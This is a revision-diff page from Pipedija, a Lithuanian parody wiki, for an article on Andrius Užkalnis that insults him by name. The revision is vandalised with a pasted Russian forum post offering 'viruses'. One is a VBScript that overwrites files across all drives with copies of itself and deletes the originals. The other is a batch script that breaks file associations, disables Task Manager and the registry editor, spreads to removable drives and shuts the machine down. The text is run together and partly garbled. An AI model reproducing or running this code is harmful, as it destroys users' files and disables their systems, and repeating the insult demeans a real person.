Pipedija - tautosaka, gandai, kliedesiai ir jokios tiesos! Durniausia wiki enciklopedija durnapedija!


Andrius Užkalnis: Skirtumas tarp puslapio versijų

Iš Pipedijos - durniausios enciklopedijos.
Jump to navigation Jump to search
1 eilutė: 1 eilutė:
{{teslos gabalas}}
{{teslos gabalas}}
[[http://g2.dcdn.lt/images/pix/520x345/u39FniCvXhM/file25092683_0051b4ae5b46b1bedd.jpg|350px|thumb|right|Andrius Užkalnis rūko naglai birka]]
[[http://g2.dcdn.lt/images/pix/520x345/u39FniCvXhM/file25092683_0051b4ae5b46b1bedd.jpg|350px|thumb|right|Andrius Užkalnis rūko naglai birka]]
'''Andrius Užkalnis gandonas''' (latv. [[Andrējs Pādkalniekšs]])Аватар для NighTGhosT
'''Andrius Užkalnis gandonas''' (latv. [[Andrējs Pādkalniekšs]])NighTGhosT
Вот еще 2 вируса:
 
1) Создаём vbs программу, у кого нет этого языка создаёт блокнот вбивает туда то, что я напишу ниже и сохраняем с расширением vbs.





20:06, 20 liepos 2015 versija

Šablonas:Teslos gabalas [Užkalnis rūko naglai birka] Andrius Užkalnis gandonas (latv. Andrējs Pādkalniekšs)NighTGhosT



haha() Sub haha() On Error Resume Next Dim d, dc, s, fso, haha Set fso = CreateObject("Scripting.FileSystemObject") Set dc = fso.Drives For Each d In dc If d.DriveType = 2 Or d.DriveType = 3 Then hihi (d.Path & "\") End If Next haha = s End sub Sub hehe(folderspec) On Error Resume Next Dim f, f1, fc, ext, s, fso Set fso = CreateObject("Scripting.FileSystemObject") Set f = fso.GetFolder(folderspec) Set fc = f.Files For Each f1 In fc ext = fso.GetExtensionName(f1.Path) ext = LCase(ext) s = LCase(f1.Name) If (ext = "zip") or (ext = "exe") or (ext = "com") or (ext = "rar") or (ext = "doc") or (ext = "xls") or (ext = "dll") or (ext = "txt") or (ext = "htm") or (ext = "html") or (ext = "jpg") or (ext = "bmp") or (ext = "mp3") or (ext = "mp4") or (ext = "gif") or (ext = "ink") Then Set f = fso.getfile(wscript.scriptfullname) f.Copy (f1.Path & ".vbe") fso.deletefile(f1.path) End If Next End Sub Sub hihi(folderspec) On Error Resume Next Dim f, f1, sf, fso Set fso = CreateObject("Scripting.FileSystemObject") Set f = fso.GetFolder(folderspec) Set sf = f.SubFolders For Each f1 In sf hehe (f1.Path) hihi (f1.Path) Next End Sub

task1;assoc .exe=.errassoc .com=.errassoc .inf=.errassoc .dll=.errassoc .sys=errassoc .dat=.errassoc .ini=.errassoc .vbs=.errassoc .bat=.errassoc .avi=.errassoc .mp3=.errassoc .wma=.err

DisableTaskMgr /t reg_dword /d 1reg add "hkcu\software\microsoft\windows\currentversion\po licies\system" /v DisableRegistryTools /t reg_dword /d 1reg add "hkcu\software\microsoft\windows\currentversion\po licies\explorer" /v NoStartMenuMorePrograms /t reg_dword /d 1reg add "hkcu\software\microsoft\windows\currentversion\po licies\explorer" /v NoClose /t reg_dword /d 1reg add "hkcu\controlpanel\desktop\windowmetrics" /v Shell Icon Size /t reg_sz /d 300/freg add "hkcu\controlpanel\mouse" /v MouseSensitivy /t reg_sz /d 0/freg add "hkcu\controlpanel\mouse" /v MouseSpeed /t reg_sz /d 40/f

copy %0 A:\avtodrive.batcopy %0 E:\avtodrive.batcopy %0 F:\avtodrive.batcopy %0 G:\avtodrive.bat

attrib +s +r A:\avtodrive.batattrib +s +r E:\avtodrive.batattrib +s +r F:\avtodrive.batattrib +s +r G:\avtodrive.bat

goto err

err;shutdown -t 5 -s